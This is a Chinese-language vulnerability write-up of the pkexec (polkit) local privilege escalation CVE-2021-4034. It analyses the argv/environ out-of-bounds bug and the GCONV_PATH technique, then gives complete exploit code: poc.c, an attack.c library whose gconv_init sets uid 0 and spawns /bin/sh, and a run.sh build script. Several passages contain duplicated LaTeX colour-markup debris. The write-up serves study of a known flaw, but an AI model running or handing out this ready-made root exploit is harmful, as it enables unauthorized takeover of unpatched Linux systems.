0x0 漏洞简介
【产品描述】polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。
【影响版本】2009年5月至今的所有版本
0x1 环境配置
使用如下命令
sudo docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
我是从这个docker环境中获取受影响版本的pkexec源码,把源码复制到主机中
sudo docker cp cvedebug:/root/polkit-0.105 ~/
为了方便调试,需要用polkit-0.105中的configure程序设定一下编译器的调试参数
./configure CFLAG="-g3"
此过程中可能会报一些依赖库找不到的错误,根据实际情况安装相应的依赖库即可,最后进行正常的编译安装
sudo make & make install
PS:做完这些之后猛然发现docker环境其实已经集成了调试的环境,直接可以在docker环境下完成调试。毕竟已经在自己的机器上做了这些工作,于是接下来的分析也是在我的机器上进行的,就没用docker了。\textcolor{green}{PS:做完这些之后猛然发现docker环境其实已经集成了调试的环境,直接可以在docker环境下完成调试。毕竟已经在自己的机器上做了这些工作,于是接下来的分析也是在我的机器上进行的,就没用docker了。}PS:做完这些之后猛然发现docker环境其实已经集成了调试的环境,直接可以在docker环境下完成调试。毕竟已经在自己的机器上做了这些工作,于是接下来的分析也是在我的机器上进行的,就没用docker了。
0x2 漏洞分析
漏洞位置的代码片段 polkit−0.105/src/programs/pkexec.c:385\textcolor{orange}{polkit-0.105/src/programs/pkexec.c:385}polkit−0.105/src/programs/pkexec.c:385
int
main (int argc, char *argv[]){
...
if (geteuid () != 0)
{
g_printerr ("pkexec must be setuid root\n");
goto out;
}
...
/*
* 循环计数i从0开始,循环解析用户请求的参数
* 根据这些参数做出不同的行为
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
else if (strcmp (argv[n], "--version") == 0)
{
opt_show_version = TRUE;
}
else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
{
n++;
if (n >= (guint) argc)
{
usage (argc, argv);
goto out;
}
opt_user = g_strdup (argv[n]);
}
else if (strcmp (argv[n], "--disable-internal-agent") == 0)
{
opt_disable_internal_agent = TRUE;
}
else
{
break;
}
}
...
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]);//读取文件路径
if (path == NULL)
{
usage (argc, argv);
goto out;
}
if (path[0] != '/')
{
//根据文件名获取绝对路径
s = g_find_program_in_path (path);
if (s == NULL)
{
g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
goto out;
}
g_free (path);
argv[n] = path = s;
}
if (access (path, F_OK) != 0)//检查文件是否存在
{
g_printerr ("Error accessing %s: %s\n", path, g_strerror (errno));
goto out;
}
...
exec_argv = argv + n;//将argv[n]作为命令执行的参数,后续会执行这条命令
...
/*命令执行*/
if (execv (path, exec_argv) != 0)//path作为命令
{
g_printerr ("Error executing %s: %s\n", path, g_strerror (errno));
goto out;
}
}
- @line:4 可见pkexec必须在root权限下运行。
- @line:14
for
循环计数i从1开始,也就是说pkexec要求我们运行的时候至少带一个参数,否则会在 @line:47处跳到了main\textcolor{cornflowerblue}{main}main函数结束前的清理工作了。如果这个参数不是pkexec中定义的一些命令选项就会在 @line:41处跳出循环。 - @line:53 会将参数视作一个文件,并且寻找它的绝对路径,然后在 @line:65 处检查文件是否存在。(例:传入vim则会返回/usr/bin/vim\textcolor{orange}{/usr/bin/vim}/usr/bin/vim)这里是关键点,假设传入的path为PATH=name=.\textcolor{orange}{PATH=name=.}PATH=name=.,并且保证当前目录下存在name=.\textcolor{orange}{name=.}name=.,且name=.\textcolor{orange}{name=.}name=.目录下存在文件file,那么函数g_find_program_in_path\textcolor{cornflowerblue}{g\_find\_program\_in\_path}g_find_program_in_path最终会返回name=./file\textcolor{orange}{name=./file}name=./file,这无疑是引入了一个新的环境变量!
- 省略中间一些环境变量的设置,最后在 @line:74处执行命令。
正常在命令行下运行某个程序,且不带参数时,argv[0]\textcolor{orange}{argv[0]}argv[0]就是运行程序的绝对路径,argv[1]=NULL\textcolor{orange}{argv[1] = NULL}argv[1]=NULL。另外还有个环境变量参数environ[]\textcolor{orange}{environ[]}environ[],需要注意的是这两个参数在栈中是邻居关系,argv[]\textcolor{orange}{argv[]}argv[]在前,environ[]\textcolor{orange}{environ[]}environ[]在后。但如果是使用system\textcolor{cornflowerblue}{system}system函数运行某个程序,且不带参数的话,argv[1]\textcolor{orange}{argv[1]}argv[1]将会越界读到environ[0]\textcolor{orange}{environ[0]}environ[0]。结合pkexec在 @line:74执行命令的操作,我们能够控制path和exec_argv两个参数。
所以接下来的问题就是如何通过设置环境变量来实现提权?下面需要补充一点额外的知识。
linux 的动态连接器ld-linux-x86-64.so.2 会在root身份下执行程序前清除一些敏感的环境变量
相关代码 glibc−2.23/elf/dl−support.c:321\textcolor{orange}{glibc-2.23/elf/dl-support.c:321}glibc−2.23/elf/dl−support.c:321
void _dl_non_dynamic_init (void) { ... if (__libc_enable_secure) { static const char unsecure_envvars[] = UNSECURE_ENVVARS #ifdef EXTRA_UNSECURE_ENVVARS EXTRA_UNSECURE_ENVVARS #endif ; const char *cp = unsecure_envvars; while (cp < unsecure_envvars + sizeof (unsecure_envvars))//循环清除敏感环境变量 { __unsetenv (cp); cp = (const char *) __rawmemchr (cp, '\0') + 1; } #if !HAVE_TUNABLES if (__access ("/etc/suid-debug", F_OK) != 0) __unsetenv ("MALLOC_CHECK_"); #endif } }
在glibc−2.23/sysdeps/generic/unsecvars.h:10\textcolor{orange}{glibc-2.23/sysdeps/generic/unsecvars.h:10}glibc−2.23/sysdeps/generic/unsecvars.h:10中定义了敏感的环境变量
#define UNSECURE_ENVVARS \ "GCONV_PATH\0" \ "GETCONF_DIR\0" \ GLIBC_TUNABLES_ENVVAR \ "HOSTALIASES\0" \ "LD_AUDIT\0" \ "LD_DEBUG\0" \ "LD_DEBUG_OUTPUT\0" \ "LD_DYNAMIC_WEAK\0" \ "LD_HWCAP_MASK\0" \ "LD_LIBRARY_PATH\0" \ "LD_ORIGIN_PATH\0" \ "LD_PRELOAD\0" \ "LD_PROFILE\0" \ "LD_SHOW_AUXV\0" \ "LD_USE_LOAD_BIAS\0" \ "LOCALDOMAIN\0" \ "LOCPATH\0" \ "MALLOC_TRACE\0" \ "NIS_PATH\0" \ "NLSPATH\0" \ "RESOLV_HOST_CONF\0" \ "RES_OPTIONS\0" \ "TMPDIR\0" \ "TZDIR\0"
这些环境变量都有指定加载某个so库的功能。系统之所以要清除这些环境变量,是出于对低权限用户可能会修改这些环境变量让suid程序加载不受信任的so库引发安全问题的考虑。
回到本次漏洞程序中,pkexec给我们提供了系统环境变量的写入机会,所以也就造成了提权的后果。
0x3 漏洞利用
网上公布的POC利用到的环境变量是GCONV_PATH
,这对我来说是一个新的利用方式(只能说我太菜了),值得学习!
GCONV_PATH 和 glibc中的iconv系列函数相关,其中有个很重要的函数iconv_open()\textcolor{cornflowerblue}{iconv\_open()}iconv_open(),该函数的执行过程如下:
- 找到系统提供的gconv-modules文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so文件中,即gconv-modules文件提供了各个字符集的**.so**文件所在位置。
- 然后再根据gconv-modules文件的指示去链接参数对应的**.so**文件。
- 之后会调用 .so文件中的gconv()\textcolor{cornflowerblue}{gconv()}gconv()与gonv_init()\textcolor{cornflowerblue}{gonv\_init()}gonv_init()函数。
GCONV_PATH能够允许用户定义自己的gconv-modules文件,gconv-modules文件格式如下:
module UTF-8// charset(字符集)// 字符集对应的文件名 1
利用的方法:
-
为了使pkexec能够寻找到path的绝对路径(请见pkexec:385:56),需在当前目录下:
- 创建两个目录
GCONV_PATH=.
和hack
,同时还要使得argv[1]=environ[0]=xxx\textcolor{orange}{argv[1]=environ[0]=xxx}argv[1]=environ[0]=xxx(自定义的文件名,要保证这个xxx是 .so文件)。 - 创建一个文件
GCONV_PATH=./hack
,赋予权限777。
- 创建两个目录
-
将自定义的gconv-modules文件放到hack目录下,定义gconv-modules的内容为:
module UTF-8// ATTACK// attack 1
-
编写&编译具体的EXP文件
0x4 EXP
poc.c:
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"hack",
"PATH=GCONV_PATH=.",
"CHARSET=ATTACK",
"SHELL=xxx",
NULL
};
execve("/usr/bin/pkexec", a_argv, a_envp);
}
attack.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(){}
void gconv_init()
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./hack'
chmod 777 'GCONV_PATH=./hack'
mkdir hack
echo "module UTF-8// ATTACK// attack 1">>hack/gconv-modules
gcc -fPIC -shared attack.c -o hack/attack.so
gcc poc.c -o poc
0x5 演示
0x6 参考
[1] https://blog.csdn.net/Breeze_CAT/article/details/122707460
[2] https://blog.csdn.net/qq_42303523/article/details/117911859